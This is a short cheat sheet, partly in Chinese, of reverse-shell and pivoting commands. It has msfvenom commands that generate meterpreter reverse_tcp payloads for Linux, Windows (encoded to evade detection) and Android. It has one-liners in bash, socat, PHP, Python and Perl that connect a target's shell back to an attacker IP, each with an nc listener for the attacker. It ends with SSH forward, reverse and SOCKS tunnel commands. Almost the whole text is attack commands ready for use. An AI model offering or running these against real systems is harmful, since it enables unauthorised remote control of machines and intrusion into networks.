Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell
Windows
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=121.196.209.139 LPORT=4444 -f exe > abc.exe
Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > /root/apk.apk
bash
目标机器:bash -i >& /dev/tcp/192.168.118.138/1234 0>&1
攻击机器:nc -lvvp 1234
socat
攻击机器:socat tcp-listen:6666 -
目标机器:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.118.138:6666
Php脚本反弹
目标机器:php -r '$sock=fsockopen("192.168.118.138",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
攻击机器:nc -lvvp 8888
Python脚本反弹
目标机器:
python -c '
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.118.138",8080));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
'
攻击机器:nc -lvvp 8080
Perl脚本反弹
目标机器:
perl -e '
use Socket;
$i="10.0.0.1";
$p=1234;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if
(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
}
;
'
攻击机器:nc -lvvp 1234
SSH
主机A不能直接访问主机C,但是主机A可以访问主机B,主机B又可以访问C(A➡B➡C)
正向隧道:ssh -qTfnN -L port:host:hostport -l user remote_ip
主机A不能直接访问主机B和C,但是主机B可以访问主机A和主机C(A⬅B➡C)
反向隧道:ssh -qTfnN -R port:host:hostport -l user remote_ip
socks代理:ssh -qTfnN -D port remotehost